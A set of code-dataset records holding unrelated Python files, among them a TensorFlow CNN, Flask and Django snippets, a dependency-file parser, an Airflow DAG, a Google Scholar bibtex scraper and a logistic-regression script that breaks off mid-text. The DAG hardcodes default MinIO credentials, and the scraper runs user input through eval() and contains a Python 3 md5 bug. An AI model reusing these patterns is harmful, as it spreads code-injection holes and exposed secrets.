+{"seq_id":"516830677","text":"# coding:utf-8\n'''\nCreated on 2017/9/7.\n\n@author: chk01\n'''\nimport tensorflow as tf\nfrom service import tf_service\n\nsess = tf.InteractiveSession()\n\n# CNN\nx = tf.placeholder(tf.float32, [None, 784])\ny_ = tf.placeholder(tf.float32, [None, 9])\nx_image = tf.reshape(x, [-1, 28, 28, 1])\n\nW_conv1 = tf_service.weight_variable([5, 5, 1, 32])\nb_conv1 = tf_service.bias_variable([32])\nh_conv1 = tf.nn.relu(tf_service.conv2d(x_image, W_conv1) + b_conv1)\nh_pool1 = tf_service.max_pool_2x2(h_conv1)\n\nW_conv2 = tf_service.weight_variable([5, 5, 32, 64])\nb_conv2 = tf_service.bias_variable([64])\nh_conv2 = tf.nn.relu(tf_service.conv2d(h_pool1, W_conv2) + b_conv2)\nh_pool2 = tf_service.max_pool_2x2(h_conv2)\n\nW_fc1 = tf_service.weight_variable([7 * 7 * 64, 1024])\nb_fc1 = tf_service.bias_variable([1024])\nh_pool2_flat = tf.reshape(h_pool2, [-1, 7 * 7 * 64])\nh_fc1 = tf.nn.relu(tf.matmul(h_pool2_flat, W_fc1) + b_fc1)\n\nkeep_prob = tf.placeholder(tf.float32)\nh_fc1_drop = tf.nn.dropout(h_fc1, keep_prob)\n\nW_fc2 = tf_service.weight_variable([1024, 9])\nb_fc2 = tf_service.bias_variable([9])\ny_conv = tf.nn.softmax(tf.matmul(h_fc1_drop, W_fc2) + b_fc2)\n\nsaver = tf.train.Saver()\nsaver.restore(sess, \"resource/model/style/cnn/model.ckpt\")\n","sub_path":"model_variable/style_cnn.py","file_name":"style_cnn.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"123594345","text":"from flask import Flask, Response\nfrom flask_cors import cross_origin\nfrom flask_apscheduler import APScheduler\nimport get_data\n\ndata = \"\"\n\n\nclass Config(object):  # 创建配置，用类\n    # 任务列表\n    JOBS = [\n        {\n            'id': 'job1',\n            'func': '__main__:refresh_data',  # 方法名\n            'trigger': 'interval',  # interval表示循环任务\n            'days': 1,\n        }\n    ]\n\n\ndef refresh_data():\n    global data\n    data = get_data.refresh_data()\n\n\napp = Flask(__name__)\napp.config.from_object(Config())  # 为实例化的flask引入配置\nrefresh_data()\n\n@app.route('/')\n@cross_origin()\ndef hello():\n    return Response(data, mimetype='application/json')\n\n\nif __name__ == '__main__':\n    scheduler = APScheduler()\n    scheduler.init_app(app)\n    scheduler.start()\n    app.run(debug=False)\n","sub_path":"server/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"63363601","text":"\"\"\"inventory URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n    https://docs.djangoproject.com/en/2.0/topics/http/urls/\nExamples:\nFunction views\n    1. Add an import:  from my_app import views\n    2. Add a URL to urlpatterns:  path('', views.home, name='home')\nClass-based views\n    1. Add an import:  from other_app.views import Home\n    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')\nIncluding another URLconf\n    1. Import the include() function: from django.urls import include, path\n    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path, re_path\nimport inv.views\nimport inv.models\nimport inv.forms\n\nurlpatterns = [\n    path('admin/', admin.site.urls),\n    path('main/', inv.views.main),\n    path('doc_type_error/', inv.views.doc_type_error),\n    path('catlg_type_error/', inv.views.catlg_type_error),\n    path('reg_type_error/', inv.views.reg_type_error),\n    re_path('doc/(?P<doc_name>\\w+)/$', inv.views.doc_list),\n    re_path('doc/(?P<doc_name>\\w+)/(?P<doc_id>\\w+)/$', inv.views.doc_form),\n    re_path('(?P<obj_type_name>\\w+)/(?P<obj_name>\\w+)/(?P<obj_id>\\w+)/status/(?P<operation>\\w+)/(?P<status>\\d)/$', inv.views.operation_status),\n    re_path('catlg/(?P<catlg_name>\\w+)/$', inv.views.catlg_list),\n    re_path('catlg/(?P<catlg_name>\\w+)/(?P<catlg_id>\\w+)/$', inv.views.catlg_form),\n    re_path('doc/(?P<doc_name>\\w+)/(?P<doc_id>\\w+)/reg/$', inv.views.doc_reg_recs),\n    re_path('report/current_location/$', inv.views.report_current_location, {'dev_id': 4, 'date_to': '2018-10-30 03:00:00'}),\n]\n","sub_path":"inventory/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"491347625","text":"#!/usr/bin/env python\n# encoding: utf-8\n'''\n@author: LoRexxar\n@contact: lorexxar@gmail.com\n@file: vendors.py\n@time: 2021/7/21 14:57\n@desc:\n\n'''\n\nimport os\nimport re\nimport json\nimport codecs\nimport traceback\n\nimport xml.etree.cElementTree as eT\n\nfrom utils.log import logger\nfrom utils.file import check_filepath\n\nfrom Kunlun_M.const import VENDOR_FILE_DICT\n\nfrom web.index.models import ProjectVendors, update_and_new_project_vendor\n\n\nclass Vendors:\n    \"\"\"\n    项目组件检查\n    \"\"\"\n    def __init__(self, project_id, target, files):\n        self.project_id = project_id\n        self.target_path = target\n        self.files = files\n\n        self.vendor_file_list = []\n        self.ext_list = []\n        self.exist_file_list = []\n\n        for lan in VENDOR_FILE_DICT:\n            self.vendor_file_list.extend(VENDOR_FILE_DICT[lan])\n\n        for vendor_file in self.vendor_file_list:\n            es = vendor_file.split(os.extsep)\n\n            if len(es) >= 2:\n                self.ext_list.append(\".{}\".format(es[-1]))\n\n        self.ext_list = list(set(self.ext_list))\n\n        # 检查列表\n        self.get_vendor_file()\n        self.exist_file_list = list(set(self.exist_file_list))\n\n        if len(self.exist_file_list):\n            self.check_vendor()\n\n    def get_vendor_file(self):\n\n        for file_obj in self.files:\n\n            for ext in self.ext_list:\n\n                if ext == file_obj[0]:\n                    filelist = file_obj[1]['list']\n\n                    for file in filelist:\n                        filename = file.split('/')[-1].split('\\\\')[-1]\n\n                        if filename in self.vendor_file_list:\n                            logger.info(\"[Vendor] Vendor file {} be found.\".format(filename))\n\n                            self.exist_file_list.append(file)\n                            continue\n\n        return self.exist_file_list\n\n    def get_language(self, filename):\n\n        for lan in VENDOR_FILE_DICT:\n            if filename in VENDOR_FILE_DICT[lan]:\n                return lan\n\n        else:\n            return \"\"\n\n    def check_commit(self, line):\n        last_str = \"\"\n        result = \"\"\n\n        for str in line:\n            if last_str == '/' and str == '/':\n                result = result[:-1]\n                return result\n\n            if str == '#':\n                return result\n\n            result += str\n            last_str = str\n\n        return result\n\n    def check_vendor(self):\n        for file in self.exist_file_list:\n\n            try:\n                filepath = check_filepath(self.target_path, file)\n                filename = file.split('/')[-1].split('\\\\')[-1]\n                language = self.get_language(filename)\n\n                f = codecs.open(filepath, 'rb+', encoding='utf-8', errors='ignore')\n                filecontent = f.read()\n                f.seek(0, os.SEEK_SET)\n\n                if filename == \"requirements.txt\":\n\n                    for line in f:\n                        if not len(line):\n                            continue\n\n                        vendor = line.split(\"==\")\n                        vendor_name = vendor[0].strip()\n                        vendor_version = vendor[-1].strip()\n                        if len(vendor) < 2:\n                            vendor_version = None\n\n                        update_and_new_project_vendor(self.project_id, name=vendor_name, version=vendor_version, language=language)\n\n                elif filename == 'composer.json':\n                    vendors = json.loads(filecontent, encoding='utf-8')\n\n                    if not len(vendors):\n                        continue\n\n                    vendors_list = vendors['require']\n\n                    for vendor in vendors_list:\n                        vendor_name = vendor.strip()\n                        vendor_version = vendors_list[vendor].strip()\n\n                        update_and_new_project_vendor(self.project_id, name=vendor_name, version=vendor_version, language=language)\n\n                elif filename == 'go.mod':\n\n                    go_version = \"\"\n                    is_require_line = False\n\n                    for line in f:\n\n                        if line.startswith('go'):\n                            go_version = line.strip().split(' ')[-1]\n\n                        if line.startswith('require ('):\n                            is_require_line = True\n                            continue\n\n                        if line.startswith(')'):\n                            is_require_line = False\n                            continue\n\n                        if is_require_line:\n                            vendor = self.check_commit(line).strip().split(' ')\n\n                            vendor_name = vendor[0].strip()\n                            vendor_version = vendor[-1].strip()\n\n                            update_and_new_project_vendor(self.project_id, name=vendor_name, version=vendor_version,\n                                                          language=language, ext=go_version)\n                elif filename == 'pom.xml':\n                    reg = r'xmlns=\"([\\w\\.\\\\/:]+)\"'\n                    pom_ns = None\n\n                    if re.search(reg, filecontent, re.I):\n\n                        p = re.compile(reg)\n                        matchs = p.finditer(filecontent)\n\n                        for match in matchs:\n                            pom_ns = match.group(1)\n\n                    if pom_ns:\n                        xpath_reg = \".//{%s}dependency\" % pom_ns\n                    else:\n                        xpath_reg = \".//dependency\"\n\n                    tree = self.parse_xml(filepath)\n                    root = tree.getroot()\n                    childs = root.findall(xpath_reg)\n                    for child in childs:\n                        group_id = child.getchildren()[0].text\n                        artifact_id = child.getchildren()[1].text\n                        if len(child.getchildren()) > 2:\n                            version = child.getchildren()[2].text\n                        else:\n                            version = 'latest'\n\n                        var_reg = \"\\${([\\w\\.\\_-]+)}\"\n                        if re.search(var_reg, version, re.I):\n                            p2 = re.compile(var_reg)\n                            matchs = p2.finditer(version)\n\n                            for match in matchs:\n                                varname = match.group(1)\n                                if pom_ns:\n                                    var_xpath_reg = \".//{%s}%s\" % (pom_ns, varname)\n                                else:\n                                    var_xpath_reg = \".//%s\" % varname\n\n                                varchilds = root.findall(var_xpath_reg)\n\n                                for child in varchilds:\n                                    version = child.text\n\n                        vendor_name = \"{}:{}\".format(group_id, artifact_id)\n                        vendor_version = version\n                        ext = \"maven\"\n\n                        update_and_new_project_vendor(self.project_id, name=vendor_name, version=vendor_version,\n                                                      language=language, ext=ext)\n\n                elif filename == 'build.gradle':\n                    is_plugin_block = False\n                    ext = \"gradle\"\n\n                    for line in f:\n                        if line.startswith('plugins {'):\n                            is_plugin_block = True\n                            continue\n\n                        if is_plugin_block and line.startswith('}'):\n                            is_plugin_block = False\n                            continue\n\n                        if is_plugin_block:\n                            plugin_block_list = line.strip().split(' ')\n                            last_block = \"\"\n                            vendor_name = \"\"\n                            vendor_version = \"\"\n\n                            for plugin_block in plugin_block_list:\n                                if last_block == 'id':\n                                    vendor_name = plugin_block.strip(\"'\").strip('\"')\n\n                                if last_block == 'version':\n                                    vendor_version = plugin_block.strip(\"'\").strip('\"')\n\n                                last_block = plugin_block\n\n                            if vendor_name and vendor_version:\n                                update_and_new_project_vendor(self.project_id, name=vendor_name, version=vendor_version,\n                                                              language=language, ext=ext)\n                            continue\n\n                elif filename == \"package.json\":\n                    vendors = json.loads(filecontent, encoding='utf-8')\n\n                    if not len(vendors):\n                        continue\n\n                    node_version = \"{} {}\".format(vendors['name'], vendors['version'])\n                    dependencies = vendors[\"dependencies\"]\n                    devDependencies = vendors[\"devDependencies\"]\n\n                    for dependency in dependencies:\n                        vendor_version = dependencies[dependency].strip()\n                        ext = \"{}.{}\".format(node_version, \"dependencies\")\n\n                        update_and_new_project_vendor(self.project_id, name=dependency, version=vendor_version,\n                                                      language=language, ext=ext)\n\n                    for dependency in devDependencies:\n                        vendor_version = devDependencies[dependency].strip()\n                        ext = \"{}.{}\".format(node_version, \"devDependencies\")\n\n                        update_and_new_project_vendor(self.project_id, name=dependency, version=vendor_version,\n                                                      language=language, ext=ext)\n\n                else:\n                    logger.warn(\"[Vendor] Vendor file {} not support\".format(filename))\n\n            except:\n                logger.error(\"[Vendor] Error check for Vendor file {}.\\nError: {}\".format(file, traceback.format_exc()))\n                continue\n\n    @staticmethod\n    def parse_xml(file_path):\n        return eT.parse(file_path)\n","sub_path":"core/vendors.py","file_name":"vendors.py","file_ext":"py","file_size_in_byte":10217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"336253375","text":"def notifyFRSToRemove(ob, event):\n    \"\"\" tell apache to remove stuff in frs\"\"\"\n    try:\n        resp = event.oldParent.REQUEST.RESPONSE\n    except AttributeError:\n        # 避免创建站点的时候失败\n        return\n\n    path = '/'.join(ob.getPhysicalPath())\n    path_s = path + '/'\n\n    # 是否是删除第一个对象\n    existing_paths = resp.getHeader('tramline_remove') \n\n    if existing_paths:\n        existing_paths = existing_paths.split(':')\n    else:\n        existing_paths = []\n\n    # 合并需要删除的文件夹 (父文件夹删除后，子文件夹就不需要再次删除)\n    to_remove = []\n    for e_path in existing_paths:\n        if (e_path+'/').startswith(path_s):\n            to_remove.append(e_path)\n            continue\n        elif path_s.startswith(e_path + '/'):\n            return\n\n    for p in to_remove:\n        existing_paths.remove(p)\n    existing_paths.append(path)\n    resp.setHeader('tramline_remove', ':'.join(existing_paths))\n\ndef notifyFRSToMove(ob, event):\n    \"\"\" \"\"\"\n    if event.oldParent is None or event.newParent is None:\n        # ObjectAddEvent\n        return\n\n    resp = event.oldParent.REQUEST.RESPONSE\n    id = ob.getId()\n\n    from_path = '/'.join(event.oldParent.getPhysicalPath()) + '/' + id\n    to_path = '/'.join(event.newParent.getPhysicalPath()) + '/' + id\n\n    existing_paths = resp.getHeader('tramline_move') \n    paths = existing_paths and existing_paths + '|' or ''\n\n    paths += from_path + ':' + to_path\n\n    # XXX 合并优化？\n\n    resp.setHeader('tramline_move', paths)\n\n","sub_path":"zopen.plone.filerepos/src/zopen/plone/filerepos/events/tramline.py","file_name":"tramline.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"74715933","text":"import unittest\n\nclass Solution(unittest.TestCase):\n    def backspaceCompare(self, S: str, T: str) -> bool:\n        \"\"\"\nGiven two strings S and T, return if they are equal when both are typed into empty text editors. # means a backspace character.\n\nNote that after backspacing an empty text, the text will continue empty.\n\nExample 1:\n\nInput: S = \"ab#c\", T = \"ad#c\"\nOutput: true\nExplanation: Both S and T become \"ac\".\nExample 2:\n\nInput: S = \"ab##\", T = \"c#d#\"\nOutput: true\nExplanation: Both S and T become \"\".\nExample 3:\n\nInput: S = \"a##c\", T = \"#a#c\"\nOutput: true\nExplanation: Both S and T become \"c\".\nExample 4:\n\nInput: S = \"a#c\", T = \"b\"\nOutput: false\nExplanation: S becomes \"c\" while T becomes \"b\".\nNote:\n\n1 <= S.length <= 200\n1 <= T.length <= 200\nS and T only contain lowercase letters and '#' characters.\nFollow up:\n\nCan you solve it in O(N) time and O(1) space?\n\n\"\"\"\n        s, t = len(S)-1, len(T)-1\n        sBack, tBack = 0, 0\n        while s >= 0 or t >= 0:\n            while s >= 0 and (S[s] == '#' or sBack > 0):\n                if S[s] == '#':\n                    sBack += 1\n                else:\n                    sBack -= 1\n                s -= 1\n\n            while t >= 0 and (T[t] == '#' or tBack > 0):\n                if T[t] == '#':\n                    tBack += 1\n                else:\n                    tBack -= 1\n                t -= 1\n\n            if s >= 0 and t >= 0:\n                if S[s] == T[t]:\n                    s -= 1\n                    t -= 1\n                else:\n                    return False\n            elif (s >= 0 and S[s] == '#') or (t >= 0 and T[t] == '#'):\n                continue\n            else:\n                break\n\n        return s == t\n\n    def testBackspaceCompare(self):\n        self.assertTrue(self.backspaceCompare(\"ab##\", \"c#d#\"))\n        self.assertTrue(self.backspaceCompare(\"ab#c\", \"ad#c\"))\n        self.assertTrue(self.backspaceCompare(\"a##c\", \"#a#c\"))\n        self.assertTrue(self.backspaceCompare(\"nzp#o#g\", \"b#nzp#o#g\"))\n        self.assertFalse(self.backspaceCompare(\"bba##c\", \"#a#c\"))\n        self.assertFalse(self.backspaceCompare(\"a#c\", \"b\"))\n","sub_path":"src/main/python/backspace_string_compare.py","file_name":"backspace_string_compare.py","file_ext":"py","file_size_in_byte":2119,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"283589384","text":"from airflow import DAG\n\nfrom airflow_notebook.pipeline import NotebookOp\nfrom airflow.utils.dates import days_ago\n\n# Setup default args with older date to automatically trigger when uploaded\nargs = {\n    \"project_id\": \"untitled-0519130803\",\n}\n\ndag = DAG(\n    \"untitled-0519130803\",\n    default_args=args,\n    schedule_interval=\"@once\",\n    start_date=days_ago(1),\n    description=\"Created with Elyra 2.2.4 pipeline editor using untitled.pipeline.\",\n    is_paused_upon_creation=False,\n)\n\n\nnotebook_op_0d52a44c_0e15_4750_8efa_a86919e8d759 = NotebookOp(\n    name=\"data_extraction\",\n    namespace=\"testml\",\n    task_id=\"data_extraction\",\n    notebook=\"notebooks/ML_EXAMPLE_PIPELINE/data_extraction.py\",\n    cos_endpoint=\"http://127.0.0.1:9999\",\n    cos_bucket=\"testbkmio\",\n    cos_directory=\"untitled-0519130803\",\n    cos_dependencies_archive=\"data_extraction-0d52a44c-0e15-4750-8efa-a86919e8d759.tar.gz\",\n    pipeline_outputs=[],\n    pipeline_inputs=[],\n    image=\"amancevice/pandas:1.1.1\",\n    resources={\n        \"request_cpu\": \"1\",\n    },\n    in_cluster=True,\n    env_vars={\n        \"AWS_ACCESS_KEY_ID\": \"minioadmin\",\n        \"AWS_SECRET_ACCESS_KEY\": \"minioadmin\",\n        \"ELYRA_ENABLE_PIPELINE_INFO\": \"True\",\n    },\n    config_file=\"None\",\n    dag=dag,\n)\n","sub_path":"untitled-0519130803.py","file_name":"untitled-0519130803.py","file_ext":"py","file_size_in_byte":1258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"137374115","text":"#!/usr/bin/env python\n\n# gscholar - Get bibtex entries from Goolge Scholar\n# Copyright (C) 2011  Bastian Venthur <venthur at debian org>\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n\n\n\"\"\"Library to query Google Scholar.\n\nCall the method query with a string which contains the full search string.\nQuery will return a list of bibtex items.\n\"\"\"\n\nimport hashlib\nimport logging\nimport optparse\nimport os\nimport random\nimport re\nimport subprocess\nimport sys\nimport urllib.error\nimport urllib.parse\nimport urllib.request\nfrom html.entities import name2codepoint\n\n# fake google id (looks like it is a 16 elements hex)\ngoogle_id = hashlib.md5(str(random.random())).hexdigest()[:16]\n\nGOOGLE_SCHOLAR_URL = \"http://scholar.google.com\"\n# the cookie looks normally like: \n#        'Cookie' : 'GSP=ID=%s:CF=4' % google_id }\n# where CF is the format (e.g. bibtex). since we don't know the format yet, we\n# have to append it later\nHEADERS = {'User-Agent': 'Mozilla/5.0',\n           'Cookie': 'GSP=ID=%s' % google_id}\n\nFORMAT_BIBTEX = 4\nFORMAT_ENDNOTE = 3\nFORMAT_REFMAN = 2\nFORMAT_WENXIANWANG = 5\n\n\ndef query(search_string: str, out_format: int, all_results=False):\n    \"\"\"Return a list of bibtex items.\n    :param search_string: string to be search in gscholar\n    :param out_format: int to indicate what format to output, see FORMAT_* consts\n    :param all_results: if output all results or just the first one\n    \"\"\"\n    logging.debug(\"Query: %s\" % search_string)\n    search_str = '/scholar?q=' + urllib.parse.quote(search_string)\n    url = GOOGLE_SCHOLAR_URL + search_str\n    header = HEADERS\n    header['Cookie'] += u\":CF={0:d}\".format(out_format)\n    request = urllib.request.Request(url, headers=header)\n    response = urllib.request.urlopen(request)\n    html = response.read()\n    html.decode('ascii', 'ignore')\n    # grab the links\n    tmp = get_links(html, out_format)\n\n    # follow the bibtex links to get the bibtex entries\n    result = list()\n    if all_results is False and len(tmp) != 0:\n        tmp = [tmp[0]]\n    for link in tmp:\n        url = GOOGLE_SCHOLAR_URL + link\n        request = urllib.request.Request(url, headers=header)\n        response = urllib.request.urlopen(request)\n        bib = response.read()\n        # print\n        # print\n        # print bib\n        result.append(bib)\n    return result\n\n\ndef get_links(html: str, out_format: int) -> list:\n    \"\"\"Return a list of reference links from the html.\n    :param html: the html page acquired from gscholar\n    :param out_format: format of output\n    \"\"\"\n    if out_format == FORMAT_BIBTEX:\n        ref_re = re.compile(r'<a href=\"(/scholar\\.bib\\?[^>]*)\">')\n    elif out_format == FORMAT_ENDNOTE:\n        ref_re = re.compile(r'<a href=\"(/scholar\\.enw\\?[^>]*)\">')\n    elif out_format == FORMAT_REFMAN:\n        ref_re = re.compile(r'<a href=\"(/scholar\\.ris\\?[^>]*)\">')\n    elif out_format == FORMAT_WENXIANWANG:\n        ref_re = re.compile(r'<a href=\"(/scholar\\.ral\\?[^>]*)\">')\n    else:\n        return None\n    ref_list = ref_re.findall(html)\n    # escape html entities\n    ref_list = [re.sub(u'&({0:s});'.format('|'.join(name2codepoint)), lambda m: chr(name2codepoint[m.group(1)]), s) for\n                s in ref_list]\n    return ref_list\n\n\ndef convert_pdf_to_txt(pdf: str) -> str:\n    \"\"\"Convert a pdf file to text and return the text.\n    This method requires pdftotext to be installed.\n    :param pdf: path of the pdf file to be converted\n    \"\"\"\n    stdout = subprocess.Popen([\"pdftotext\", \"-q\", pdf, \"-\"], stdout=subprocess.PIPE).communicate()[0]\n    return stdout\n\n\ndef pdf_lookup(pdf: str, all_results: bool, out_format: int) -> list:\n    \"\"\"Look a pdf up on google scholar and return bibtex items.\n    :param pdf: pdf file path to be looked up\n    :param all_results: if return all results or just first\n    :param out_format: output format of bibliography\"\"\"\n    txt = convert_pdf_to_txt(pdf)\n    # remove all non alphanumeric characters\n    txt = re.sub(\"\\W\", \" \", txt)\n    words = txt.strip().split()[:20]\n    gs_query = \" \".join(words)\n    bibtex_list = query(gs_query, out_format, all_results)\n    return bibtex_list\n\n\ndef _get_bib_element(bib_item, element):\n    \"\"\"Return element from bib_item or None.\"\"\"\n    item_list = [item.strip() for item in bib_item.split(\"\\n\")]\n    for item in item_list:\n        if item.startswith(element):\n            value = item.split(\"=\", 1)[-1]\n            value = value.strip()\n            while value.endswith(','):\n                value = value[:-1]\n            while value.startswith('{') or value.startswith('\"'):\n                value = value[1:-1]\n            return value\n    return None\n\n\ndef rename_file(pdf, bib_item):\n    \"\"\"Attempt to rename pdf according to bib_item.\n    :param pdf: path of pdf file to rename\n    :param bib_item: list of bib_items\"\"\"\n    year = _get_bib_element(bib_item, \"year\")\n    author = _get_bib_element(bib_item, \"author\")\n    if author:\n        author = author.split(\",\")[0]\n    title = _get_bib_element(bib_item, \"title\")\n    l = [x for x in (year, author, title) if x]\n    filename = \" - \".join(l) + \".pdf\"\n    new_file = pdf.replace(os.path.basename(pdf), filename)\n    print()\n    print(\"Will rename:\")\n    print()\n    print((\"  %s\" % pdf))\n    print()\n    print(\"to\")\n    print()\n    print((\"  %s\" % new_file))\n    print()\n    print(\"Proceed? [y/N]\")\n    answer = eval(input())\n    if answer == 'y':\n        print((\"Renaming %s to %s\" % (pdf, new_file)))\n        os.rename(pdf, new_file)\n    else:\n        print(\"Aborting.\")\n\n\ndef main():\n    usage = 'Usage: %prog [options] {pdf | \"search terms\"}'\n    parser = optparse.OptionParser(usage)\n    parser.add_option(\"-a\", \"--all\", action=\"store_true\", dest=\"all\",\n                      default=\"False\", help=\"show all bibtex results\")\n    parser.add_option(\"-d\", \"--debug\", action=\"store_true\", dest=\"debug\",\n                      default=\"False\", help=\"show debugging output\")\n    parser.add_option(\"-r\", \"--rename\", action=\"store_true\", dest=\"rename\",\n                      default=\"False\", help=\"rename file (asks before doing it)\")\n    # noinspection SpellCheckingInspection\n    parser.add_option(\"-f\", \"--outputformat\", dest='output',\n                      default=\"bibtex\",\n                      help=\"Output format. Available formats are: \"\n                           \"bibtex, endnote, refman, wenxianwang [default: %default]\")\n    (options, args) = parser.parse_args()\n    if options.debug is True:\n        logging.basicConfig(level=logging.DEBUG)\n    if options.output == 'bibtex':\n        out_format = FORMAT_BIBTEX\n    elif options.output == 'endnote':\n        out_format = FORMAT_ENDNOTE\n    elif options.output == 'refman':\n        out_format = FORMAT_REFMAN\n    elif options.output == 'wenxianwang':\n        out_format = FORMAT_WENXIANWANG\n    else:\n        return\n    if len(args) != 1:\n        parser.error(\"No argument given, nothing to do.\")\n        sys.exit(1)\n    args = args[0]\n    pdf_mode = False\n    if os.path.exists(args):\n        logging.debug(\"File exist, assuming you want me to lookup the pdf: %s.\" % args)\n        pdf_mode = True\n        bib_list = pdf_lookup(args, options.all, out_format)\n    else:\n        logging.debug(\"Assuming you want me to lookup the query: %s.\" % args)\n        bib_list = query(args, out_format, options.all)\n    if len(bib_list) < 1:\n        print(\"No results found, try again with a different query!\")\n        sys.exit(1)\n    if options.all:\n        logging.debug(\"All results:\")\n        for i in bib_list:\n            print(i)\n    else:\n        logging.debug(\"First result:\")\n        print((bib_list[0]))\n    if options.rename:\n        if not pdf_mode:\n            print(\"You asked me to rename the pdf but didn't tell me which file to rename, aborting.\")\n            sys.exit(1)\n        else:\n            rename_file(args, bib_list[0])\n\n\nif __name__ == \"__main__\":\n    main()\n","sub_path":"bibpdf/util/gscholar.py","file_name":"gscholar.py","file_ext":"py","file_size_in_byte":8504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"534656132","text":"from api.queries.select import SELECT_POST_BY_ID_FULL\n\ndef get_post_by_id(cursor, post_id):\n    post_qs = cursor.execute(SELECT_POST_BY_ID_FULL, [post_id,])\n    post = cursor.fetchone()\n    return {\n        \"date\": post[0].strftime(\"%Y-%m-%d %H:%M:%S\") ,\n        \"dislikes\": post[1],\n        \"forum\": post[2],\n        \"id\": post[3],\n        \"isApproved\": not not post[4],\n        \"isDeleted\": not not post[5],\n        \"isEdited\": not not post[6],\n        \"isHighlighted\": not not post[7],\n        \"isSpam\": not not post[8],\n        \"likes\": post[9],\n        \"message\": post[10],\n        \"parent\": post[11],\n        \"points\": post[12],\n        \"thread\": post[13],\n        \"user\": post[14]\n        }, \\\n        {\n         \"forum\": post[15],\n         \"thread\": post[16],\n         \"user\": post[17]\n         }\n","sub_path":"tp_bd_hw_1/api/post/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"533430797","text":"#Heart Disease Prediction by Logistic Regression\n\n#Het Patel - 8680821\n#Neel Patel - 8682068\n\n\n\nimport pandas as pd\nimport numpy as np\nimport statsmodels.api as sm\nimport scipy.stats as st\nimport matplotlib.pyplot as plt\nimport seaborn as sn\nfrom sklearn.metrics import confusion_matrix\n#import matplotlib.mlab as mlab\nfrom statsmodels.tools import add_constant as add_constant\nimport sklearn\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.preprocessing import binarize\nfrom sklearn.metrics import roc_curve\n\n\n\ndef draw_histograms(dataframe, features, rows, cols):\n    fig=plt.figure(figsize=(20,20))\n    for i, feature in enumerate(features):\n        ax=fig.add_subplot(rows,cols,i+1)\n        dataframe[feature].hist(bins=20,ax=ax,facecolor='midnightblue')\n        ax.set_title(feature+\" Distribution\",color='DarkRed')\n        \n    fig.tight_layout()  \n    plt.show()\n\ndef back_feature_elem (data_frame,dep_var,col_list):\n    while len(col_list)>0 :\n        model=sm.Logit(dep_var,data_frame[col_list])\n        result=model.fit(disp=0)\n        largest_pvalue=round(result.pvalues,3).nlargest(1)\n        if largest_pvalue[0]<(0.05):\n            return result\n            break\n        else:\n            col_list=col_list.drop(largest_pvalue.index)\n\n\n#Read csv file into a Pandas Dataframe\nframingham_df = pd.read_csv('framingham.csv')\n#Remove education column\nframingham_df.drop(['education'],axis=1,inplace=True)\n\n\n########################################### Data Preparation ###########################################\nprint(\"################################### Data Preparation ###################################\")\n\n#Check datatypes to make sure they are suitable (numeric) to perform regression on\nprint(\"\\nCheck Data Types:\")\nprint(framingham_df.dtypes)\n\n\n#Check for duplicate values\nprint(\"\\nCheck Duplicate Values:\")\ndup_values_df = framingham_df[framingham_df.duplicated()]\nif(len(dup_values_df) < 1):\n    print(\"There are no duplicate values\")\nelse:\n    print(dup_values_df)\n\n\n#Count number of rows with null values and remove the null values if they do not take up a majority part of the dataset\nprint(\"\\nCheck for rows with missing values:\")\nnull_row_count = 0\nfor i in framingham_df.isnull().sum(axis=1):\n    if i > 0:\n        null_row_count = null_row_count + 1\n\nprint('Total number of rows with missing values:', null_row_count)\nprint('Since it takes up only',round((null_row_count/len(framingham_df.index))*100), 'percent of the entire dataset, the rows with missing values will be removed.')\n\n#Drop columns with NA\nframingham_df.dropna(axis=0,inplace=True)\n\n\n########################################### Descriptive Data Analysis ###########################################\nprint(\"\\n################################### Descriptive Data Analysis ###################################\")\n\nprint(\"\\nNumerical summary of data:\")\nprint(framingham_df.describe())\n\nprint(\"\\nGraphical summary of data:\")\ndraw_histograms(framingham_df,framingham_df.columns,6,3)\n\n#histogram for categorical variable TenYearCHD\nsn.countplot(x='TenYearCHD',data=framingham_df)\n\n#Correlation heat table \nsn.heatmap(framingham_df.corr())\nplt.show()\n\n\n########################################### Logistic Regression ###########################################\nprint(\"\\n################################### Logistic regression ###################################\")\n\n#Add column of 1's to the data\nframingham_df_constant = add_constant(framingham_df)\n\nst.chisqprob = lambda chisq, df: st.chi2.sf(chisq, df)\ncols=framingham_df_constant.columns[:-1]\nmodel=sm.Logit(framingham_df.TenYearCHD,framingham_df_constant[cols])\nresult=model.fit()\nprint(\"\\nBaseline Model:\")\nprint(result.summary())\n\n#Backward selection model (elimination of non significant variables by performing regression repeatedly)\nprint(\"\\n Backward Selection 